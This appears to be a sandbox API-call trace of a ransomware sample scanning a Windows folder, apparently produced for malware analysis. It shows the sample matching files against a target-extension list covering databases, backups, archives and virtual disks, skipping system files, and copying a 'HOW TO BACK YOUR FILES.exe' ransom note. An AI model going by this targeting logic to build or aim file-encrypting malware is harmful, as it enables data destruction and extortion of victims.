	[0052.108] lstrcmpiW (lpString1=".js", lpString2="dbx") returned -1
	[0052.108] lstrlenW (lpString="dcb") returned 3
	[0052.108] lstrcmpiW (lpString1=".js", lpString2="dcb") returned -1
	[0052.108] lstrlenW (lpString="dct") returned 3
	[0052.108] lstrcmpiW (lpString1=".js", lpString2="dct") returned -1
	[0052.109] lstrlenW (lpString="dcx") returned 3
	[0052.109] lstrcmpiW (lpString1=".js", lpString2="dcx") returned -1
	[0052.109] lstrlenW (lpString="ddl") returned 3
	[0052.109] lstrcmpiW (lpString1=".js", lpString2="ddl") returned -1
	[0052.109] lstrlenW (lpString="dlis") returned 4
	[0052.109] lstrcmpiW (lpString1="u.js", lpString2="dlis") returned 1
	[0052.109] lstrlenW (lpString="dp1") returned 3
	[0052.109] lstrcmpiW (lpString1=".js", lpString2="dp1") returned -1
	[0052.109] lstrlenW (lpString="dqy") returned 3
	[0052.109] lstrcmpiW (lpString1=".js", lpString2="dqy") returned -1
	[0052.109] lstrlenW (lpString="dsk") returned 3
	[0052.109] lstrcmpiW (lpString1=".js", lpString2="dsk") returned -1
	[0052.109] lstrlenW (lpString="dsn") returned 3
	[0052.109] lstrcmpiW (lpString1=".js", lpString2="dsn") returned -1
	[0052.109] lstrlenW (lpString="dtsx") returned 4
	[0052.109] lstrcmpiW (lpString1="u.js", lpString2="dtsx") returned 1
	[0052.109] lstrlenW (lpString="dxl") returned 3
	[0052.109] lstrcmpiW (lpString1=".js", lpString2="dxl") returned -1
	[0052.109] lstrlenW (lpString="eco") returned 3
	[0052.109] lstrcmpiW (lpString1=".js", lpString2="eco") returned -1
	[0052.109] lstrlenW (lpString="ecx") returned 3
	[0052.109] lstrcmpiW (lpString1=".js", lpString2="ecx") returned -1
	[0052.109] lstrlenW (lpString="edb") returned 3
	[0052.109] lstrcmpiW (lpString1=".js", lpString2="edb") returned -1
	[0052.109] lstrlenW (lpString="epim") returned 4
	[0052.109] lstrcmpiW (lpString1="u.js", lpString2="epim") returned 1
	[0052.109] lstrlenW (lpString="fcd") returned 3
	[0052.109] lstrcmpiW (lpString1=".js", lpString2="fcd") returned -1
	[0052.109] lstrlenW (lpString="fdb") returned 3
	[0052.109] lstrcmpiW (lpString1=".js", lpString2="fdb") returned -1
	[0052.109] lstrlenW (lpString="fic") returned 3
	[0052.109] lstrcmpiW (lpString1=".js", lpString2="fic") returned -1
	[0052.109] lstrlenW (lpString="flexolibrary") returned 12
	[0052.109] lstrlenW (lpString="fm5") returned 3
	[0052.109] lstrcmpiW (lpString1=".js", lpString2="fm5") returned -1
	[0052.109] lstrlenW (lpString="fmp") returned 3
	[0052.110] lstrcmpiW (lpString1=".js", lpString2="fmp") returned -1
	[0052.110] lstrlenW (lpString="fmp12") returned 5
	[0052.110] lstrcmpiW (lpString1="pu.js", lpString2="fmp12") returned 1
	[0052.110] lstrlenW (lpString="fmpsl") returned 5
	[0052.110] lstrcmpiW (lpString1="pu.js", lpString2="fmpsl") returned 1
	[0052.110] lstrlenW (lpString="fol") returned 3
	[0052.110] lstrcmpiW (lpString1=".js", lpString2="fol") returned -1
	[0052.110] lstrlenW (lpString="fp3") returned 3
	[0052.110] lstrcmpiW (lpString1=".js", lpString2="fp3") returned -1
	[0052.110] lstrlenW (lpString="fp4") returned 3
	[0052.110] lstrcmpiW (lpString1=".js", lpString2="fp4") returned -1
	[0052.110] lstrlenW (lpString="fp5") returned 3
	[0052.110] lstrcmpiW (lpString1=".js", lpString2="fp5") returned -1
	[0052.110] lstrlenW (lpString="fp7") returned 3
	[0052.110] lstrcmpiW (lpString1=".js", lpString2="fp7") returned -1
	[0052.110] lstrlenW (lpString="fpt") returned 3
	[0052.110] lstrcmpiW (lpString1=".js", lpString2="fpt") returned -1
	[0052.110] lstrlenW (lpString="frm") returned 3
	[0052.110] lstrcmpiW (lpString1=".js", lpString2="frm") returned -1
	[0052.110] lstrlenW (lpString="gdb") returned 3
	[0052.110] lstrcmpiW (lpString1=".js", lpString2="gdb") returned -1
	[0052.110] lstrlenW (lpString="gdb") returned 3
	[0052.110] lstrcmpiW (lpString1=".js", lpString2="gdb") returned -1
	[0052.110] lstrlenW (lpString="grdb") returned 4
	[0052.110] lstrcmpiW (lpString1="u.js", lpString2="grdb") returned 1
	[0052.110] lstrlenW (lpString="gwi") returned 3
	[0052.110] lstrcmpiW (lpString1=".js", lpString2="gwi") returned -1
	[0052.110] lstrlenW (lpString="hdb") returned 3
	[0052.110] lstrcmpiW (lpString1=".js", lpString2="hdb") returned -1
	[0052.110] lstrlenW (lpString="his") returned 3
	[0052.110] lstrcmpiW (lpString1=".js", lpString2="his") returned -1
	[0052.110] lstrlenW (lpString="ib") returned 2
	[0052.110] lstrcmpiW (lpString1="js", lpString2="ib") returned 1
	[0052.110] lstrlenW (lpString="idb") returned 3
	[0052.110] lstrcmpiW (lpString1=".js", lpString2="idb") returned -1
	[0052.111] lstrlenW (lpString="ihx") returned 3
	[0052.111] lstrcmpiW (lpString1=".js", lpString2="ihx") returned -1
	[0052.111] lstrlenW (lpString="itdb") returned 4
	[0052.111] lstrcmpiW (lpString1="u.js", lpString2="itdb") returned 1
	[0052.111] lstrlenW (lpString="itw") returned 3
	[0052.111] lstrcmpiW (lpString1=".js", lpString2="itw") returned -1
	[0052.111] lstrlenW (lpString="jet") returned 3
	[0052.111] lstrcmpiW (lpString1=".js", lpString2="jet") returned -1
	[0052.111] lstrlenW (lpString="jtx") returned 3
	[0052.111] lstrcmpiW (lpString1=".js", lpString2="jtx") returned -1
	[0052.111] lstrlenW (lpString="kdb") returned 3
	[0052.111] lstrcmpiW (lpString1=".js", lpString2="kdb") returned -1
	[0052.111] lstrlenW (lpString="kexi") returned 4
	[0052.111] lstrcmpiW (lpString1="u.js", lpString2="kexi") returned 1
	[0052.111] lstrlenW (lpString="kexic") returned 5
	[0052.111] lstrcmpiW (lpString1="pu.js", lpString2="kexic") returned 1
	[0052.111] lstrlenW (lpString="kexis") returned 5
	[0052.111] lstrcmpiW (lpString1="pu.js", lpString2="kexis") returned 1
	[0052.111] lstrlenW (lpString="lgc") returned 3
	[0052.111] lstrcmpiW (lpString1=".js", lpString2="lgc") returned -1
	[0052.111] lstrlenW (lpString="lwx") returned 3
	[0052.111] lstrcmpiW (lpString1=".js", lpString2="lwx") returned -1
	[0052.111] lstrlenW (lpString="maf") returned 3
	[0052.111] lstrcmpiW (lpString1=".js", lpString2="maf") returned -1
	[0052.111] lstrlenW (lpString="maq") returned 3
	[0052.111] lstrcmpiW (lpString1=".js", lpString2="maq") returned -1
	[0052.111] lstrlenW (lpString="mar") returned 3
	[0052.111] lstrcmpiW (lpString1=".js", lpString2="mar") returned -1
	[0052.111] lstrlenW (lpString="marshal") returned 7
	[0052.111] lstrlenW (lpString="mas") returned 3
	[0052.111] lstrcmpiW (lpString1=".js", lpString2="mas") returned -1
	[0052.111] lstrlenW (lpString="mav") returned 3
	[0052.111] lstrcmpiW (lpString1=".js", lpString2="mav") returned -1
	[0052.111] lstrlenW (lpString="maw") returned 3
	[0052.111] lstrcmpiW (lpString1=".js", lpString2="maw") returned -1
	[0052.111] lstrlenW (lpString="mdbhtml") returned 7
	[0052.112] lstrlenW (lpString="mdn") returned 3
	[0052.112] lstrcmpiW (lpString1=".js", lpString2="mdn") returned -1
	[0052.112] lstrlenW (lpString="mdt") returned 3
	[0052.112] lstrcmpiW (lpString1=".js", lpString2="mdt") returned -1
	[0052.112] lstrlenW (lpString="mfd") returned 3
	[0052.112] lstrcmpiW (lpString1=".js", lpString2="mfd") returned -1
	[0052.112] lstrlenW (lpString="mpd") returned 3
	[0052.112] lstrcmpiW (lpString1=".js", lpString2="mpd") returned -1
	[0052.112] lstrlenW (lpString="mrg") returned 3
	[0052.112] lstrcmpiW (lpString1=".js", lpString2="mrg") returned -1
	[0052.112] lstrlenW (lpString="mud") returned 3
	[0052.112] lstrcmpiW (lpString1=".js", lpString2="mud") returned -1
	[0052.112] lstrlenW (lpString="mwb") returned 3
	[0052.112] lstrcmpiW (lpString1=".js", lpString2="mwb") returned -1
	[0052.112] lstrlenW (lpString="myd") returned 3
	[0052.112] lstrcmpiW (lpString1=".js", lpString2="myd") returned -1
	[0052.112] lstrlenW (lpString="ndf") returned 3
	[0052.112] lstrcmpiW (lpString1=".js", lpString2="ndf") returned -1
	[0052.112] lstrlenW (lpString="nnt") returned 3
	[0052.112] lstrcmpiW (lpString1=".js", lpString2="nnt") returned -1
	[0052.112] lstrlenW (lpString="nrmlib") returned 6
	[0052.112] lstrlenW (lpString="ns2") returned 3
	[0052.112] lstrcmpiW (lpString1=".js", lpString2="ns2") returned -1
	[0052.112] lstrlenW (lpString="ns3") returned 3
	[0052.112] lstrcmpiW (lpString1=".js", lpString2="ns3") returned -1
	[0052.112] lstrlenW (lpString="ns4") returned 3
	[0052.112] lstrcmpiW (lpString1=".js", lpString2="ns4") returned -1
	[0052.112] lstrlenW (lpString="nsf") returned 3
	[0052.112] lstrcmpiW (lpString1=".js", lpString2="nsf") returned -1
	[0052.112] lstrlenW (lpString="nv") returned 2
	[0052.112] lstrcmpiW (lpString1="js", lpString2="nv") returned -1
	[0052.112] lstrlenW (lpString="nv2") returned 3
	[0052.112] lstrcmpiW (lpString1=".js", lpString2="nv2") returned -1
	[0052.112] lstrlenW (lpString="nwdb") returned 4
	[0052.112] lstrcmpiW (lpString1="u.js", lpString2="nwdb") returned 1
	[0052.112] lstrlenW (lpString="nyf") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="nyf") returned -1
	[0052.113] lstrlenW (lpString="odb") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="odb") returned -1
	[0052.113] lstrlenW (lpString="odb") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="odb") returned -1
	[0052.113] lstrlenW (lpString="oqy") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="oqy") returned -1
	[0052.113] lstrlenW (lpString="ora") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="ora") returned -1
	[0052.113] lstrlenW (lpString="orx") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="orx") returned -1
	[0052.113] lstrlenW (lpString="owc") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="owc") returned -1
	[0052.113] lstrlenW (lpString="p96") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="p96") returned -1
	[0052.113] lstrlenW (lpString="p97") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="p97") returned -1
	[0052.113] lstrlenW (lpString="pan") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="pan") returned -1
	[0052.113] lstrlenW (lpString="pdb") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="pdb") returned -1
	[0052.113] lstrlenW (lpString="pdm") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="pdm") returned -1
	[0052.113] lstrlenW (lpString="pnz") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="pnz") returned -1
	[0052.113] lstrlenW (lpString="qry") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="qry") returned -1
	[0052.113] lstrlenW (lpString="qvd") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="qvd") returned -1
	[0052.113] lstrlenW (lpString="rbf") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="rbf") returned -1
	[0052.113] lstrlenW (lpString="rctd") returned 4
	[0052.113] lstrcmpiW (lpString1="u.js", lpString2="rctd") returned 1
	[0052.113] lstrlenW (lpString="rod") returned 3
	[0052.113] lstrcmpiW (lpString1=".js", lpString2="rod") returned -1
	[0052.114] lstrlenW (lpString="rodx") returned 4
	[0052.114] lstrcmpiW (lpString1="u.js", lpString2="rodx") returned 1
	[0052.114] lstrlenW (lpString="rpd") returned 3
	[0052.114] lstrcmpiW (lpString1=".js", lpString2="rpd") returned -1
	[0052.114] lstrlenW (lpString="rsd") returned 3
	[0052.114] lstrcmpiW (lpString1=".js", lpString2="rsd") returned -1
	[0052.114] lstrlenW (lpString="sas7bdat") returned 8
	[0052.114] lstrlenW (lpString="sbf") returned 3
	[0052.114] lstrcmpiW (lpString1=".js", lpString2="sbf") returned -1
	[0052.114] lstrlenW (lpString="scx") returned 3
	[0052.114] lstrcmpiW (lpString1=".js", lpString2="scx") returned -1
	[0052.114] lstrlenW (lpString="sdb") returned 3
	[0052.114] lstrcmpiW (lpString1=".js", lpString2="sdb") returned -1
	[0052.114] lstrlenW (lpString="sdc") returned 3
	[0052.114] lstrcmpiW (lpString1=".js", lpString2="sdc") returned -1
	[0052.114] lstrlenW (lpString="sdf") returned 3
	[0052.114] lstrcmpiW (lpString1=".js", lpString2="sdf") returned -1
	[0052.114] lstrlenW (lpString="sis") returned 3
	[0052.114] lstrcmpiW (lpString1=".js", lpString2="sis") returned -1
	[0052.114] lstrlenW (lpString="spq") returned 3
	[0052.114] lstrcmpiW (lpString1=".js", lpString2="spq") returned -1
	[0052.114] lstrlenW (lpString="te") returned 2
	[0052.114] lstrcmpiW (lpString1="js", lpString2="te") returned -1
	[0052.114] lstrlenW (lpString="teacher") returned 7
	[0052.114] lstrlenW (lpString="tmd") returned 3
	[0052.114] lstrcmpiW (lpString1=".js", lpString2="tmd") returned -1
	[0052.114] lstrlenW (lpString="tps") returned 3
	[0052.114] lstrcmpiW (lpString1=".js", lpString2="tps") returned -1
	[0052.114] lstrlenW (lpString="trc") returned 3
	[0052.114] lstrcmpiW (lpString1=".js", lpString2="trc") returned -1
	[0052.114] lstrlenW (lpString="trc") returned 3
	[0052.114] lstrcmpiW (lpString1=".js", lpString2="trc") returned -1
	[0052.114] lstrlenW (lpString="trm") returned 3
	[0052.114] lstrcmpiW (lpString1=".js", lpString2="trm") returned -1
	[0052.114] lstrlenW (lpString="udb") returned 3
	[0052.114] lstrcmpiW (lpString1=".js", lpString2="udb") returned -1
	[0052.115] lstrlenW (lpString="udl") returned 3
	[0052.115] lstrcmpiW (lpString1=".js", lpString2="udl") returned -1
	[0052.115] lstrlenW (lpString="usr") returned 3
	[0052.115] lstrcmpiW (lpString1=".js", lpString2="usr") returned -1
	[0052.115] lstrlenW (lpString="v12") returned 3
	[0052.115] lstrcmpiW (lpString1=".js", lpString2="v12") returned -1
	[0052.115] lstrlenW (lpString="vis") returned 3
	[0052.115] lstrcmpiW (lpString1=".js", lpString2="vis") returned -1
	[0052.115] lstrlenW (lpString="vpd") returned 3
	[0052.115] lstrcmpiW (lpString1=".js", lpString2="vpd") returned -1
	[0052.115] lstrlenW (lpString="vvv") returned 3
	[0052.115] lstrcmpiW (lpString1=".js", lpString2="vvv") returned -1
	[0052.115] lstrlenW (lpString="wdb") returned 3
	[0052.115] lstrcmpiW (lpString1=".js", lpString2="wdb") returned -1
	[0052.115] lstrlenW (lpString="wmdb") returned 4
	[0052.115] lstrcmpiW (lpString1="u.js", lpString2="wmdb") returned -1
	[0052.115] lstrlenW (lpString="wrk") returned 3
	[0052.115] lstrcmpiW (lpString1=".js", lpString2="wrk") returned -1
	[0052.115] lstrlenW (lpString="xdb") returned 3
	[0052.115] lstrcmpiW (lpString1=".js", lpString2="xdb") returned -1
	[0052.115] lstrlenW (lpString="xld") returned 3
	[0052.115] lstrcmpiW (lpString1=".js", lpString2="xld") returned -1
	[0052.115] lstrlenW (lpString="xmlff") returned 5
	[0052.115] lstrcmpiW (lpString1="pu.js", lpString2="xmlff") returned -1
	[0052.115] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37200310, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37200310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.115] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.115] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37200310, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37200310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0052.115] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0052.115] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0052.115] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css"
	[0052.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0052.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0052.115] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css") returned 67
	[0052.115] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css"
	[0052.116] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.116] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.119] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.119] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37226470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37226470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.119] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.119] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.120] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.120] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37226470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37226470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.120] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.120] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.120] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.120] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.120] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 1
	[0052.120] lstrcmpiW (lpString1="cpu.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.120] lstrcmpiW (lpString1="cpu.css", lpString2="Apollon865.txt.exe") returned 1
	[0052.120] lstrcmpiW (lpString1="cpu.css", lpString2=".") returned 1
	[0052.120] lstrcmpiW (lpString1="cpu.css", lpString2="..") returned 1
	[0052.120] lstrcmpiW (lpString1="cpu.css", lpString2="windows") returned -1
	[0052.120] lstrcmpiW (lpString1="cpu.css", lpString2="bootmgr") returned 1
	[0052.120] lstrcmpiW (lpString1="cpu.css", lpString2="temp") returned -1
	[0052.120] lstrcmpiW (lpString1="cpu.css", lpString2="pagefile.sys") returned -1
	[0052.120] lstrcmpiW (lpString1="cpu.css", lpString2="boot") returned 1
	[0052.120] lstrcmpiW (lpString1="cpu.css", lpString2="ids.txt") returned -1
	[0052.120] lstrcmpiW (lpString1="cpu.css", lpString2="ntuser.dat") returned -1
	[0052.120] lstrcmpiW (lpString1="cpu.css", lpString2="perflogs") returned -1
	[0052.129] lstrcmpiW (lpString1="cpu.css", lpString2="MSBuild") returned -1
	[0052.129] lstrlenW (lpString="cpu.css") returned 7
	[0052.129] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*") returned 69
	[0052.129] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="cpu.css" | out: lpString1="cpu.css") returned="cpu.css"
	[0052.129] lstrlenW (lpString="cpu.css") returned 7
	[0052.129] lstrlenW (lpString="Apollon865") returned 10
	[0052.129] lstrlenW (lpString=".dll") returned 4
	[0052.129] lstrcmpiW (lpString1="cpu.css", lpString2=".dll") returned 1
	[0052.129] lstrlenW (lpString=".lnk") returned 4
	[0052.129] lstrcmpiW (lpString1="cpu.css", lpString2=".lnk") returned 1
	[0052.129] lstrlenW (lpString=".ini") returned 4
	[0052.129] lstrcmpiW (lpString1="cpu.css", lpString2=".ini") returned 1
	[0052.129] lstrlenW (lpString=".sys") returned 4
	[0052.129] lstrcmpiW (lpString1="cpu.css", lpString2=".sys") returned 1
	[0052.129] lstrlenW (lpString="cpu.css") returned 7
	[0052.129] lstrlenW (lpString="bak") returned 3
	[0052.129] lstrcmpiW (lpString1="css", lpString2="bak") returned 1
	[0052.129] lstrlenW (lpString="ba_") returned 3
	[0052.129] lstrcmpiW (lpString1="css", lpString2="ba_") returned 1
	[0052.129] lstrlenW (lpString="dbb") returned 3
	[0052.129] lstrcmpiW (lpString1="css", lpString2="dbb") returned -1
	[0052.129] lstrlenW (lpString="vmdk") returned 4
	[0052.129] lstrcmpiW (lpString1=".css", lpString2="vmdk") returned -1
	[0052.129] lstrlenW (lpString="rar") returned 3
	[0052.129] lstrcmpiW (lpString1="css", lpString2="rar") returned -1
	[0052.129] lstrlenW (lpString="zip") returned 3
	[0052.129] lstrcmpiW (lpString1="css", lpString2="zip") returned -1
	[0052.129] lstrlenW (lpString="tgz") returned 3
	[0052.130] lstrcmpiW (lpString1="css", lpString2="tgz") returned -1
	[0052.130] lstrlenW (lpString="vbox") returned 4
	[0052.130] lstrcmpiW (lpString1=".css", lpString2="vbox") returned -1
	[0052.130] lstrlenW (lpString="vdi") returned 3
	[0052.130] lstrcmpiW (lpString1="css", lpString2="vdi") returned -1
	[0052.130] lstrlenW (lpString="vhd") returned 3
	[0052.130] lstrcmpiW (lpString1="css", lpString2="vhd") returned -1
	[0052.130] lstrlenW (lpString="vhdx") returned 4
	[0052.130] lstrcmpiW (lpString1=".css", lpString2="vhdx") returned -1
	[0052.130] lstrlenW (lpString="avhd") returned 4
	[0052.130] lstrcmpiW (lpString1=".css", lpString2="avhd") returned -1
	[0052.130] lstrlenW (lpString="db") returned 2
	[0052.130] lstrcmpiW (lpString1="ss", lpString2="db") returned 1
	[0052.130] lstrlenW (lpString="db2") returned 3
	[0052.130] lstrcmpiW (lpString1="css", lpString2="db2") returned -1
	[0052.130] lstrlenW (lpString="db3") returned 3
	[0052.130] lstrcmpiW (lpString1="css", lpString2="db3") returned -1
	[0052.130] lstrlenW (lpString="dbf") returned 3
	[0052.130] lstrcmpiW (lpString1="css", lpString2="dbf") returned -1
	[0052.130] lstrlenW (lpString="mdf") returned 3
	[0052.130] lstrcmpiW (lpString1="css", lpString2="mdf") returned -1
	[0052.130] lstrlenW (lpString="mdb") returned 3
	[0052.130] lstrcmpiW (lpString1="css", lpString2="mdb") returned -1
	[0052.130] lstrlenW (lpString="sql") returned 3
	[0052.130] lstrcmpiW (lpString1="css", lpString2="sql") returned -1
	[0052.130] lstrlenW (lpString="sqlite") returned 6
	[0052.130] lstrcmpiW (lpString1="pu.css", lpString2="sqlite") returned -1
	[0052.130] lstrlenW (lpString="sqlite3") returned 7
	[0052.130] lstrlenW (lpString="sqlitedb") returned 8
	[0052.130] lstrlenW (lpString="xml") returned 3
	[0052.130] lstrcmpiW (lpString1="css", lpString2="xml") returned -1
	[0052.130] lstrlenW (lpString="$er") returned 3
	[0052.130] lstrcmpiW (lpString1="css", lpString2="$er") returned 1
	[0052.130] lstrlenW (lpString="4dd") returned 3
	[0052.130] lstrcmpiW (lpString1="css", lpString2="4dd") returned 1
	[0052.130] lstrlenW (lpString="4dl") returned 3
	[0052.131] lstrcmpiW (lpString1="css", lpString2="4dl") returned 1
	[0052.131] lstrlenW (lpString="^^^") returned 3
	[0052.131] lstrcmpiW (lpString1="css", lpString2="^^^") returned 1
	[0052.131] lstrlenW (lpString="abs") returned 3
	[0052.131] lstrcmpiW (lpString1="css", lpString2="abs") returned 1
	[0052.131] lstrlenW (lpString="abx") returned 3
	[0052.131] lstrcmpiW (lpString1="css", lpString2="abx") returned 1
	[0052.131] lstrlenW (lpString="accdb") returned 5
	[0052.131] lstrcmpiW (lpString1="u.css", lpString2="accdb") returned 1
	[0052.131] lstrlenW (lpString="accdc") returned 5
	[0052.131] lstrcmpiW (lpString1="u.css", lpString2="accdc") returned 1
	[0052.131] lstrlenW (lpString="accde") returned 5
	[0052.131] lstrcmpiW (lpString1="u.css", lpString2="accde") returned 1
	[0052.131] lstrlenW (lpString="accdr") returned 5
	[0052.131] lstrcmpiW (lpString1="u.css", lpString2="accdr") returned 1
	[0052.131] lstrlenW (lpString="accdt") returned 5
	[0052.131] lstrcmpiW (lpString1="u.css", lpString2="accdt") returned 1
	[0052.131] lstrlenW (lpString="accdw") returned 5
	[0052.131] lstrcmpiW (lpString1="u.css", lpString2="accdw") returned 1
	[0052.131] lstrlenW (lpString="accft") returned 5
	[0052.131] lstrcmpiW (lpString1="u.css", lpString2="accft") returned 1
	[0052.131] lstrlenW (lpString="adb") returned 3
	[0052.131] lstrcmpiW (lpString1="css", lpString2="adb") returned 1
	[0052.131] lstrlenW (lpString="adb") returned 3
	[0052.131] lstrcmpiW (lpString1="css", lpString2="adb") returned 1
	[0052.131] lstrlenW (lpString="ade") returned 3
	[0052.131] lstrcmpiW (lpString1="css", lpString2="ade") returned 1
	[0052.131] lstrlenW (lpString="adf") returned 3
	[0052.131] lstrcmpiW (lpString1="css", lpString2="adf") returned 1
	[0052.131] lstrlenW (lpString="adn") returned 3
	[0052.131] lstrcmpiW (lpString1="css", lpString2="adn") returned 1
	[0052.131] lstrlenW (lpString="adp") returned 3
	[0052.131] lstrcmpiW (lpString1="css", lpString2="adp") returned 1
	[0052.131] lstrlenW (lpString="alf") returned 3
	[0052.131] lstrcmpiW (lpString1="css", lpString2="alf") returned 1
	[0052.131] lstrlenW (lpString="ask") returned 3
	[0052.132] lstrcmpiW (lpString1="css", lpString2="ask") returned 1
	[0052.132] lstrlenW (lpString="btr") returned 3
	[0052.132] lstrcmpiW (lpString1="css", lpString2="btr") returned 1
	[0052.132] lstrlenW (lpString="cat") returned 3
	[0052.132] lstrcmpiW (lpString1="css", lpString2="cat") returned 1
	[0052.132] lstrlenW (lpString="cdb") returned 3
	[0052.132] lstrcmpiW (lpString1="css", lpString2="cdb") returned 1
	[0052.132] lstrlenW (lpString="ckp") returned 3
